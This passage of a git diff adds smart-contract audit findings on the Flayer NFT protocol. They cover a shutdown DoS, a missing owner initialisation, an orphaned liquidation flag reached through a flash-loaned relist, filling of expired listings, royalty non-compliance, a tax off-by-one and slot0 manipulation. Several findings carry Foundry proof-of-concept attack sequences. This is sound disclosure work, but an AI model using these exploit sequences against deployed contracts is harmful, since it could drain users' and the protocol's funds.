+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160
+ _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ ...
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+ ...
+ deposit(_collection, _tokenIds, address(_implementation));
+ ...
+ }
+```
+
+A first check controls the length of the array passed as a parameter and the MINIMUM_TOKEN_IDS (that is set at 10, [`Locker.sol:67`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L67)`).
+
+So now, let's suppose that the user1, creates a collection and then initializes it passing 10 TOKEN_IDS in the array and 0 as the denominator parameter.
+
+The if statement will pass because the length of the array (10) is equal to the MINIMUM_TOKEN_IDS (10).
+
+The function will move on and get the `deposit()` calls.
+
+```solidity
+ function deposit(address _collection, uint[] calldata _tokenIds, address _recipient) public
+ nonReentrant
+ whenNotPaused
+ collectionExists(_collection)
+ {
+ ...
+ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+ ...
+ }
+```
+
+At this point, there is a minting of CollectionTokens linked to the collection that has been initialized.
+The amount minted it's calculated following this formula:
+
+ tokenIdsLength * 1 ether * 10 ** token.denomination()
+
+Converting this in number is:
+
+ result = 10 * 1 ether * 10**0
+ result = 10 ether.
+
+So the `collectionToken.totalSupply()` is equal to 10 ether.
+
+
+Now suppose that user2 wants to start a votation to delete this collection.
+
+To do this, will calls the `start()` function in `CollectionShutdown.sol`.
+
+
+```solidity
+ function start(address _collection) public whenNotPaused {
+ ...
+ uint totalSupply = params.collectionToken.totalSupply();
+
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ ...
+ }
+```
+
+MAX_SHUTDOWN_TOKENS is set as constant at 4 ether in `CollectionShutdown.sol`([`CollectionShutdown.sol:85`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L85)`).
+
+
+Following the formula:
+
+ MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()
+
+Converts in number:
+
+ result2 = 4 ether*10**0
+ result2 = 4 ether
+
+
+At this point any tries to call the `start()` function is useless because the totalSupply is always > than the MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination().
+
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1)
+
+### Impact
+
+Impossible to use CollectionShutdown.sol contract.
+Constant values set in contracts will make the CollectionShutdown.sol contract useless.
+
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {stdStorage, StdStorage, Test} from 'forge-std/Test.sol';
+import {ProxyAdmin, ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
+import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {CollectionToken} from "@flayer/CollectionToken.sol";
+import {FlayerTest} from "../lib/FlayerTest.sol";
+import {LockerManager} from "../../src/contracts/LockerManager.sol";
+import {Locker} from "../../src/contracts/Locker.sol";
+import {Listings} from "../../src/contracts/Listings.sol";
+import {ProtectedListings} from "../../src/contracts/ProtectedListings.sol";
+import {TaxCalculator} from "../../src/contracts/TaxCalculator.sol";
+import {WETH9} from '../lib/WETH.sol';
+import {ERC721Mock} from '../mocks/ERC721Mock.sol';
+import {ERC721MyMock} from '../mocks/ERC721MyMock.sol';
+import {UniswapImplementation} from '@flayer/implementation/UniswapImplementation.sol';
+import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
+import {ICollectionToken} from "../../src/interfaces/ICollectionToken.sol";
+import {Clones} from '@openzeppelin/contracts/proxy/Clones.sol';
+import {PoolKey} from '@uniswap/v4-core/src/types/PoolKey.sol';
+import {IPoolManager, PoolManager, Pool} from '@uniswap/v4-core/src/PoolManager.sol';
+import {PoolIdLibrary, PoolId} from '@uniswap/v4-core/src/types/PoolId.sol';
+import {CurrencyLibrary} from "../../lib/v4-core/src/types/Currency.sol";
+import {LinearRangeCurve} from '@flayer/lib/LinearRangeCurve.sol';
+import {CollectionShutdown} from '@flayer/utils/CollectionShutdown.sol';
+import "forge-std/console.sol";
+
+
+contract CollectionTokenProxyTest is Test {
+
+ using PoolIdLibrary for PoolKey;
+
+ address RANGE_CURVE;
+ address payable PAIR_FACTORY = payable(0xA020d57aB0448Ef74115c112D18a9C231CC86000);
+ address payable internal _proxy;
+ ProxyAdmin internal _proxyAdmin;
+
+ CollectionToken internal _collectionTokenV1Impl;
+ CollectionToken internal _collectionTokenV1;
+ TransparentUpgradeableProxy _collectionTokenV1Proxy;
+
+ LockerManager lockerManager;
+ Locker locker;
+ Listings listings;
+ ProtectedListings protListings;
+ TaxCalculator calculator;
+ WETH9 WETH;
+ ERC721Mock erc721a;
+ ERC721MyMock erc721MyA;
+ PoolManager poolManager;
+ UniswapImplementation uniswapImplementation;
+ CollectionShutdown collectionShutdown;
+ address payable public constant VALID_LOCKER_ADDRESS = payable(0x57D88D547641a626eC40242196F69754b25D2FCC);
+
+
+
+ // Address that interacts
+ address owner;
+ address user1;
+ address user2;
+ address hacker;
+
+
+ function setUp() public {
+ owner = vm.addr(4);
+ user1 = vm.addr(1);
+ user2 = vm.addr(2);
+ hacker = vm.addr(4);
+
+ vm.deal(owner, 1000 ether);
+ vm.deal(user1, 1000 ether);
+ vm.deal(user2, 1000 ether);
+ vm.deal(hacker, 1000 ether);
+
+
+ //Deploy Contracts
+ deployAllContracts();
+
+ vm.prank(user1);
+ WETH.deposit{value: 100 ether}();
+
+ vm.prank(user2);
+ WETH.deposit{value: 100 ether}();
+
+ vm.prank(hacker);
+ WETH.deposit{value: 100 ether}();
+
+ }
+
+
+
+ // ================= CollectionShutdown.sol =====================
+
+
+ function test_shutdown()public{
+
+
+ vm.startPrank(hacker);
+
+ address newCollectionToken = locker.createCollection(address(erc721a), "Mock", "MOCK", 0);
+
+ uint256[] memory path = new uint256[](10);
+
+ for(uint i = 0; i < 10; i++){
+ path[i] = i;
+ erc721a.approve(address(locker), i);
+ }
+
+ WETH.approve(address(locker), 10 ether);
+
+
+ locker.initializeCollection(address(erc721a), 1 ether, path, path.length * 1 ether, 158456325028528675187087900672);
+ vm.stopPrank();
+
+ vm.startPrank(user1);
+
+ vm.expectRevert();
+ collectionShutdown.start(address(erc721a));
+
+ }
+
+
+ function deployAllContracts()internal{
+
+
+ // Deploy Collection Token
+ vm.startPrank(owner);
+
+ _proxyAdmin = new ProxyAdmin();
+
+ bytes memory data = abi.encodeWithSignature("initialize(string,string,uint256)", "TokenName", "TKN", 10);
+
+ _collectionTokenV1Impl = new CollectionToken();
+ _collectionTokenV1Proxy = new TransparentUpgradeableProxy(
+ address(_collectionTokenV1Impl),
+ address(_proxyAdmin),
+ data
+ );
+
+ _collectionTokenV1 = CollectionToken(address(_collectionTokenV1Proxy));
+ assertEq(_collectionTokenV1.name(), "TokenName");
+
+
+ // Deploy LockerManager
+ lockerManager = new LockerManager();
+
+ // Deploy Locker
+ locker = new Locker(address(_collectionTokenV1Impl), address(lockerManager));
+
+ // Deploy Listings
+ listings = new Listings(locker);
+
+ // Deploy ProtectedListings
+ protListings = new ProtectedListings(locker, address(listings));
+
+
+ // Deploy RANGE_CURVE
+ RANGE_CURVE = address(new LinearRangeCurve());
+
+
+ // Deploy TaxCalculator
+ calculator = new TaxCalculator();
+
+
+ // Deploy CollectionShutdown
+ collectionShutdown = new CollectionShutdown(locker, PAIR_FACTORY, RANGE_CURVE);
+
+
+ // Deploy PoolManager
+ poolManager = new PoolManager(500000);
+
+
+ // Deploy WETH
+ WETH = new WETH9();
+
+
+ // Deploy ERC721 Contract
+ erc721a = new ERC721Mock();
+
+ // Uniswap Implementation
+ deployCodeTo('UniswapImplementation.sol', abi.encode(address(poolManager), address(locker), address(WETH)), VALID_LOCKER_ADDRESS);
+ uniswapImplementation = UniswapImplementation(VALID_LOCKER_ADDRESS);
+ uniswapImplementation.initialize(locker.owner());
+
+
+ // First settings for the contracts
+ listings.setProtectedListings(address(protListings));
+
+ locker.setListingsContract(payable(address(listings)));
+ locker.setTaxCalculator(address(calculator));
+ locker.setCollectionShutdownContract(payable(address(collectionShutdown)));
+ locker.setImplementation(address(uniswapImplementation));
+
+ lockerManager.setManager(address(listings), true);
+ lockerManager.setManager(address(protListings), true);
+ lockerManager.setManager(address(collectionShutdown), true);
+
+
+ // Mint some tokens ERC721 for user1 and hacker
+ for(uint i = 0; i < 10; i++){
+ erc721a.mint(hacker, i);
+ }
+
+
+ for(uint i = 10; i < 20; i++){
+ erc721a.mint(user2, i);
+ }
+
+
+ // erc721a id 10 For the hacker
+ erc721a.mint(user1, 20);
+
+ vm.stopPrank();
+ }
+}
+```
+
+### Mitigation
+
+Avoid using constant values that could generate some conflicts between contracts.
\ No newline at end of file
diff --git a/183.md b/183.md
new file mode 100644
index 0000000..e6b8901
--- /dev/null
+++ b/183.md
@@ -0,0 +1,118 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# The `Locker.sol` contract did not initialize the owner while using the solady ownable contract
+
+## Summary
+The contract `Locker.sol` does not initialize an owner during deployment, which means the deployer does not automatically become the owner. Instead, ownership must be established through the `_initializeOwner` call as a constructor or initializer, ensuring that ownership and control can be assigned or changed at `transferOwnership`.
+
+## Vulnerability Detail
+
+- The OpenZeppelin Ownable contract includes a constructor that sets the initial owner to an address provided at deployment but that is not the same as the solady ownable.sol as there you have to initialize an owner
+- https://github.com/Vectorized/solady/blob/main/src/auth/Ownable.sol#L87
+```solidity
+ /// @dev Initializes the owner directly without authorization guard.
+ /// This function must be called upon initialization,
+ /// regardless of whether the contract is upgradeable or not.
+ /// This is to enable generalization to both regular and upgradeable contracts,
+ /// and to save gas in case the initial owner is not the caller.
+ /// For performance reasons, this function will not check if there
+ /// is an existing owner.
+ function _initializeOwner(address newOwner) internal virtual {
+```
+- The solady ownable does not set the initial owner to msg.sender (the deployer) directly in the constructor, because the contract can handle cases where ownership is assigned to a different address without incurring extra gas costs that might arise from unnecessary operations if the deployer is not the intended owner, therefore, it recommends users who are going to use the contract to always initialize the owner themselves
+
+## Impact
+- The deployer won't be able to call the functions with `onlyOwner` modifiers, such as updating the `setListingsContract`, `CollectionShutdown`, and `TaxCalculator` functions, setting the `Locker implementation`, or `pausing` the protocol
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L459-L510
+
+
+
+Snippet
+
+```solidity
+ /**
+ * Allows a new {Listings} contract to be set.
+ *
+ * @param _listings The new contract address
+ */
+ function setListingsContract(address _listings) public onlyOwner {
+ if (_listings == address(0)) revert ZeroAddress();
+ listings = IListings(_listings);
+ emit ListingsContractUpdated(_listings);
+ }
+
+ /**
+ * Allows a {ICollectionShutdown} contract to be set. This will be the only contract
+ * that will be able call the `sunsetCollection` function, allowing it to remove the
+ * functionality of a {CollectionToken}.
+ *
+ * @param _collectionShutdown The new contract address
+ */
+ function setCollectionShutdownContract(address payable _collectionShutdown) public onlyOwner {
+ if (_collectionShutdown == address(0)) revert ZeroAddress();
+ collectionShutdown = ICollectionShutdown(_collectionShutdown);
+ emit CollectionShutdownContractUpdated(_collectionShutdown);
+ }
+
+ /**
+ * Allows a {ITaxCalculator} contract to be set. This will be the contract that
+ * will determine all tax for liquid, dutch and protected listings.
+ *
+ * @param _taxCalculator The new contract address
+ */
+ function setTaxCalculator(address _taxCalculator) public onlyOwner {
+ if (_taxCalculator == address(0)) revert ZeroAddress();
+ taxCalculator = ITaxCalculator(_taxCalculator);
+ emit TaxCalculatorContractUpdated(_taxCalculator);
+ }
+
+ /**
+ * Allows the contract owner to set the implementation used by the {Locker}.
+ *
+ * @dev This can only be set once to a non-zero address.
+ *
+ * @param _implementation The new `IBaseImplementation` address
+ */
+ function setImplementation(address _implementation) public onlyOwner {
+ if (address(implementation) != address(0)) revert CannotChangeImplementation();
+ implementation = IBaseImplementation(_implementation);
+ }
+
+ /**
+ * Allows the contract owner to pause all {Locker} related activity, essentially preventing
+ * any activity in the protocol.
+ *
+ * @param _paused If we are pausing (true) or unpausing (false) the protocol
+ */
+ function pause(bool _paused) public onlyOwner {
+ (_paused) ? _pause() : _unpause();
+ }
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- Initialize the owner at the constructor as a deployer
+```diff
+ constructor (address _tokenImplementation, address _lockerManager) {
+ // Ensure that we don't provide zero addresses
+ if (_tokenImplementation == address(0)) revert InvalidTokenImplementation(); //n if the tokeImp is zero address revert
+
+ // Set our base ERC20 token implementation
+ tokenImplementation = _tokenImplementation; //n the token implementation gets set into the provided implementation
+
+ // Reference our Locker Manager
+ lockerManager = ILockerManager(_lockerManager); //n the address of the interface is set to the provided one
+
++ // Assign our contract owner
++ _initializeOwner(msg.sender);
+
+ }
+```
\ No newline at end of file
diff --git a/185.md b/185.md
new file mode 100644
index 0000000..24244d3
--- /dev/null
+++ b/185.md
@@ -0,0 +1,202 @@
+Lone Coconut Cat
+
+Medium
+
+# Relisting Then Cancelling A Liquidation Auction Results In Losses On Subsequent Deposits
+
+## Summary
+
+Relisting a token undergoing dutch auction risks erroneously persisting an orphaned `isLiquidation` state flags on the token, resulting in loss of due harberger taxes and refunds when the token is relisted.
+
+## Vulnerability Detail
+
+In the following sequence, we protect, liquidate, relist and finally cancel a listing for an underlying token.
+
+Once the sequence is finished, all value is conserved and the underlying token is back in the hands of the original owner - however we have managed to erroneously persist an `isLiquidation` flag against the underlying token, even though it is no longer undergoing liquidation.
+
+### ProtectedListings.t.sol
+
+First, add the following test sequence to `ProtectedListings.t.sol`:
+
+```solidity
+function testSherlock_CreateOrphanedFlag() external returns (uint256[] memory tokenIds) {
+
+ // 0. Assume a flashloan address:
+ address flashloan = address(0xf1a510a9);
+ uint256 numberOfFlashloanTokens = 10;
+ vm.startPrank(flashloan);
+ {
+ tokenIds = new uint256[](numberOfFlashloanTokens);
+ for (uint256 i = 0; i < numberOfFlashloanTokens; i++) erc721a.mint(flashloan, tokenIds[i] = 10_000 + i);
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721a), tokenIds);
+ }
+ vm.stopPrank();
+
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(flashloan), 10000000000000000000) /* Flashloan Initial Balance */;
+
+ // 1. `deadbeef` mints and protects their token:
+ address deadbeef = address(0xdeadbeef);
+ uint256 deadbeefTokenId = 100;
+ vm.startPrank(deadbeef);
+ erc721a.setApprovalForAll(address(protectedListings), true);
+ erc721a.mint(deadbeef, deadbeefTokenId);
+ tokenIds = new uint256[](1);
+ tokenIds[0] = deadbeefTokenId;
+ IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+ owner: payable(deadbeef),
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ });
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(deadbeef), 950000000000000000) /* Deadbeef Balance After Deposit */;
+
+ // 2. Block is mined:
+ vm.roll(block.number + 1);
+ vm.warp(block.timestamp + 2);
+
+ // 3. Asset is now unhealthy.
+ assert(protectedListings.getProtectedListingHealth(address(erc721a), deadbeefTokenId) < 0) /* unhealthy */;
+
+ // 4. Start a liquidation:
+ vm.startPrank(deadbeef);
+ protectedListings.liquidateProtectedListing(address(erc721a), deadbeefTokenId);
+ vm.stopPrank();
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(deadbeef), 1000000000000000000) /* Deadbeef Liquidates Own Listing */;
+
+ // 5. `deadbeefOtherAccount` flash loans the required capital:
+ address deadbeefOtherAccount = address(0xdeadbeef + 1);
+ uint256 flashLoanAmount = 3000000000000000000 + 90000000000000000;
+ vm.startPrank(flashloan);
+ locker.collectionToken(address(erc721a)).transfer(deadbeefOtherAccount, flashLoanAmount);
+ vm.stopPrank();
+
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(flashloan), 6910000000000000000) /* Flash Loan Balance Reduced */;
+
+ // 6. Relist, masquerading as a different account:
+ vm.startPrank(deadbeefOtherAccount);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint256).max) /* Max Approve Listings */;
+
+ tokenIds = new uint256[](1);
+ tokenIds[0] = deadbeefTokenId;
+ listings.relist(
+ IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(deadbeef),
+ created: uint40(block.timestamp),
+ duration: 7 days /* convert back into a liquid listing */,
+ floorMultiple: 400
+ })
+ }),
+ false
+ );
+ vm.stopPrank();
+
+ // 7. Now the listing is no longer in dutch auction, cancel it:
+ vm.startPrank(deadbeef);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint256).max);
+ listings.cancelListings(address(erc721a), tokenIds, false);
+
+ // Repay the flash loan for deadbeef:
+ locker.collectionToken(address(erc721a)).transfer(flashloan, flashLoanAmount);
+
+ // Assert that value has been conserved (nothing has been lost):
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(deadbeef), 0);
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(deadbeefOtherAccount), 0);
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(flashloan), numberOfFlashloanTokens * 1 ether);
+
+ // Deadbeef is back in possession of the token:
+ assertEq(erc721a.ownerOf(deadbeefTokenId), deadbeef);
+
+ vm.stopPrank();
+
+}
+```
+
+Then add the following `console.log`s to `Listings.sol` to the end of [`cancelListings`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L414C14-L414C28):
+
+```diff
+// Create our checkpoint as utilisation rates will change
+protectedListings.createCheckpoint(_collection); /// @custom:hunter now we can call this arbitrarily since tehre are no throws
++
++ for (uint256 i = 0; i < _tokenIds.length; i++) {
++ console.log("After cancellation, is still a liquidation?", _isLiquidation[_collection][_tokenIds[i]]);
++ }
++
+emit ListingsCancelled(_collection, _tokenIds);
+```
+
+And finally run using:
+
+```shell
+forge test --match-test "testSherlock_CreateOrphanedFlag" -vv
+```
+
+```shell
+Ran 1 test for test/ProtectedListings.t.sol:ProtectedListingsTest
+[PASS] testSherlock_CreateOrphanedFlag() (gas: 2248654)
+Logs:
+ After cancellation, is still a liquidation? true
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.49ms (2.00ms CPU time)
+```
+
+This confirms that it is possible to persist an `_isLiquidation` flag against a token which is no longer undergoing liquidation.
+
+## Impact
+
+An orphaned `_isLiquidation` flag persisted against a token can result in losses for a users and the protocol if it were to be deposited back into the system.
+
+This is because refunds for harberger taxes are only paid for the case where a token is specifically not marked as `_isLiquidation`:
+
+```solidity
+// Check if there is collateral on the listing, as this we bypass fees and refunds
+if (!_isLiquidation[_collection][_tokenId]) { /// @audit only pay refunds for tokens which aren't marked as liquidations
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+ (uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, fee);
+
+ assembly {
+ tstore(FILL_FEE, add(tload(FILL_FEE), fee))
+ tstore(FILL_REFUND, add(tload(FILL_REFUND), refund))
+ }
+} else {
+ delete _isLiquidation[_collection][_tokenId];
+}
+```
+
+```solidity
+// We can process a tax refund for the existing listing if it isn't a liquidation
+if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true); /// @audit only realize refunds and fees if not a liquidation
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+}
+```
+
+This materializes as losses for both the user and the protocol.
+
+## Code Snippet
+
+## Tool used
+
+[**Shaheen Vision**](https://x.com/0x_Shaheen/status/1722664258142650806)
+
+## Recommendation
+
+In our proof of concept, we break the protocol invariant that a [dutch auction cannot be modified](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L311C13-L312C98) by first converting it back into a liquid listing via a call to [`relist`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625C14-L625C20).
+
+Since dutch auctions should not be modifiable, we recommend **rejecting attempts to relist them**, as this is a form of modification.
+
+In addition, ensure that the `_isLiquidation` flag is cleared when cancelling a listing.
diff --git a/190.md b/190.md
new file mode 100644
index 0000000..2413c6e
--- /dev/null
+++ b/190.md
@@ -0,0 +1,39 @@
+Wonderful Rouge Hamster
+
+Medium
+
+# ERC721's without the metadata extension won't be bridgeable
+
+### Summary
+
+In `InfernalRiftAbove` it will read the ERC721's metadata for every token in bridges. The call will revert for any ERC721 contract that doesn't implement the optional Metadata extension.
+
+### Root Cause
+
+The ERC721 metadata extension which includes the `tokenURI()` function is optional, see https://eips.ethereum.org/EIPS/eip-721.
+
+Any ERC721 that doesn't implement the `tokenURI()` function won't be bridgeable because the call in [InfernalRiftAbove.sol:105](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L105) will revert
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+none
+
+### Impact
+
+Certain ERC721s won't be bridgeable.
+
+### PoC
+
+none
+
+### Mitigation
+
+use `try-catch`
\ No newline at end of file
diff --git a/198.md b/198.md
new file mode 100644
index 0000000..cb4cd3d
--- /dev/null
+++ b/198.md
@@ -0,0 +1,92 @@
+Quaint Infrared Giraffe
+
+Medium
+
+# `Listing::fillListings` does not check if listing duration has ended and leads to the `ERC721` token been transfered at a price lesser than the listing price
+
+### Summary
+
+There is no checks in `Listing::fillListings` as to whether a listing has ended or not making the listing available after the duration, and since the listing contract holds the `ERC721` token, the token becomes transferable after the listing has ended.
+
+Also, the `FILL_FEE` used in `Listing::fillListings` is based on `fees and refund` calculation from `Listing::_resolveListingTax` which enforces that when a listing has ended, no refund will be offered. This leads to the `FILL_FEE` (after listing has ended) not taking into consideration the `fees and refund`, and the `ERC721` token been transferred at lesser price.
+
+### Root Cause
+
+No Checks in `Listing::fillListings` on whether listing duration has expired.
+
+### External pre-conditions
+
+Listing has ended and the `listing.owner` is yet to retrieve his token.
+
+
+### Impact
+
+Loss of asset by owner
+
+### PoC
+
+```
+ function test_POC() public {
+ address _owner = makeAddr("owner");
+ uint _tokenId;
+ uint16 _floorMultiple = 400;
+
+ erc721a.mint(_owner, _tokenId);
+
+ vm.prank(_owner);
+ erc721a.setApprovalForAll(address(listings), true);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: _floorMultiple
+ });
+
+ // Create our listing
+ vm.startPrank(_owner);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+
+ console.log("Balance of Owner after creating listing: ", locker.collectionToken(address(erc721a)).balanceOf(_owner));
+
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ console.log("Balance of Listing contract after listing is created: ",locker.collectionToken(address(erc721a)).balanceOf(address(listings)));
+
+ vm.warp(1 days);
+
+ (bool isAvailable, uint price) = listings.getListingPrice(address(erc721a), _tokenId);
+
+
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = _tokenId;
+
+ address filler = makeAddr("filler");
+ deal(address(locker.collectionToken(address(erc721a))), filler, price);
+
+ vm.warp(99 days);
+ vm.startPrank(filler);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+ vm.stopPrank();
+
+ assertEq(erc721a.ownerOf(_tokenId), filler); //@audit Proof that the token was trasnferred
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(address(filler)), price - 1 ether); //@audit 1 ether is the amount if there was nothing like fees or refund in the protocol system
+ }
+```
+
+### Mitigation
+
+A requirement check in `Listing::filling` to enforce that the token to be filled is within listing duration.
\ No newline at end of file
diff --git a/214.md b/214.md
new file mode 100644
index 0000000..e3c51ea
--- /dev/null
+++ b/214.md
@@ -0,0 +1,51 @@
+Raspy Raspberry Tapir
+
+High
+
+# `ERC721Bridgable` and `ERC1155Bridgable` are not EIP-2981 compliant, and fail to correctly collect or attribute royalties to artists
+
+### Summary
+
+According to the [README](https://github.com/sherlock-audit/2024-08-flayer/blob/main/README.md#moongate-4):
+
+> The Bridged721 should be strictly compliant with EIP-721 and EIP-2981
+> The Bridged1155 should be strictly compliant with EIP-1155 and EIP-2981
+
+[EIP-2981](https://eips.ethereum.org/EIPS/eip-2981) states the following:
+
+> Marketplaces that support this standard MUST pay royalties no matter where the sale occurred or in what currency, including on-chain sales, over-the-counter (OTC) sales and off-chain sales such as at auction houses. As royalty payments are voluntary, entities that respect this EIP must pay no matter where the sale occurred - a sale conducted outside of the blockchain is still a sale.
+
+The crux of the standard, is that if a contract is EIP-2981 compliant, the royalty _should be paid to the artist who created the NFT no matter where the sale occurred_. For that it first needs to be correctly _reported_ to marketplaces, and _attributed_ to the artist. It's worth noting that as returned by the EIP-2981 function `royaltyInfo`, **both the royalty recipient and the royalty amount are specific to each NFT**:
+
+```solidity
+function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount);
+```
+
+The problem is that both `ERC721Bridgable` and `ERC1155Bridgable` completely violate this crucial property via **both setting a uniform royalty amount across all NFTs, and designating themselves as the royalty recipient**, thus reporting _wrong amounts_, and mixing them together in a _single bucket_. This makes it impossible to either correctly collect the appropriate royalty amounts, or to attribute the collected royalties to artists.
+
+### Root Cause
+
+Both [ERC721Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L81-L82) and [ERC1155Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L63-L64) perform the following in their `initialize` function:
+
+```solidity
+// Set this contract to receive marketplace royalty
+_setDefaultRoyalty(address(this), _royaltyBps);
+```
+
+As per-NFT royalties are not set, this makes the contract a single recipient of the same `_royaltyBps` across all NFTs, as implemented by OZ's `ERC2981` contract. No matter what happens next, it's impossible to either correctly collect the appropriate royalty amounts at marketplaces, or to correctly attribute the royalties to different artists.
+
+### Impact
+
+Definite loss of funds (NFT creators won't receive the appropriate royalties):
+
+- Marketplaces who sell NFTs on L2s are not able to pay correct amounts of royalties
+- Artists who created the NFTs in collections on L1, which are bridged to L2, are not able to track the amounts of royalties they have the right to receive (which effectively deprives them of said royalties)
+
+### Mitigation
+
+Both for `ERC721Bridgable` and `ERC1155Bridgable` have to implement a system which:
+
+- correctly reports per-NFT royalty amounts on L2 via `royaltyInfo`
+- correctly collects the appropriate royalty amounts, and tracks the per-NFT recipients of said amounts on L1.
+
+_Notice: this finding concerns only with the absence of the correct tracking and reporting system as per EIP-2981. Royalty distribution system from L2 to L1 is out of scope of this finding._
\ No newline at end of file
diff --git a/216.md b/216.md
new file mode 100644
index 0000000..3109566
--- /dev/null
+++ b/216.md
@@ -0,0 +1,50 @@
+Jovial Lemon Stork
+
+Medium
+
+# User can receive 0 tokens from creating a Listing.
+
+### Summary
+
+The vulnerability exists because of a flaw in `Listings.sol:150` , which has a check that reverts if `taxRequired` is greater than `tokensReceived`. The `tokensReceived` value to be sent to user after listing has to have `taxRequired ` subtracted from it. Which means taxRequired always has to be less than `tokensReceived` before this deduction is done. However , the check doesn't accomodate a scenario where they are both the same value and the subsequent subtraction will lead to `tokensReceived` resulting in 0.
+
+
+### Root Cause
+
+`createListing` in [`Listings.sol:150`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L150) uses the `>` operand while checking `taxRequired` and ` tokensReceived`.
+ ```solidity
+ if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+ ```
+This means there can exist a scenario where `taxRequired` and `tokensReceived` are the same value. Hence, when the deduction of `taxRequired` from `tokensReceived` is done, user is left with 0 tokens.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+User doesn't get any tokens from creating a Listing.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In `Listings:150` change the code to :
+ ```diff
++ if (taxRequired >= tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+```
+
+This now ensures the call reverts if `taxRequired` is greater than `tokensReceived` or they are the same value. And also that the listing can only proceed if there are enough tokens left (for the user) after tax has been deducted.
+
+
+
diff --git a/221.md b/221.md
new file mode 100644
index 0000000..10284d2
--- /dev/null
+++ b/221.md
@@ -0,0 +1,39 @@
+Rich Chrome Whale
+
+Medium
+
+# Malicious Whale can cause Loss of Fees of LP Providers
+
+### Summary
+
+When `BeforeSwap()` hook gets called it retrieves the current price of the Pair by `slot0` which is manipulatable by attacker so that the pool do the swap of the fees at very unfavorable price causing loss of funds to them and giving more favorable price to the attacker.
+### Root Cause
+Retrieval of `sqrtPriceX96` in `beforeSwap()` Hook via `getSlot0` which is manipulatable
+
+### Internal pre-conditions
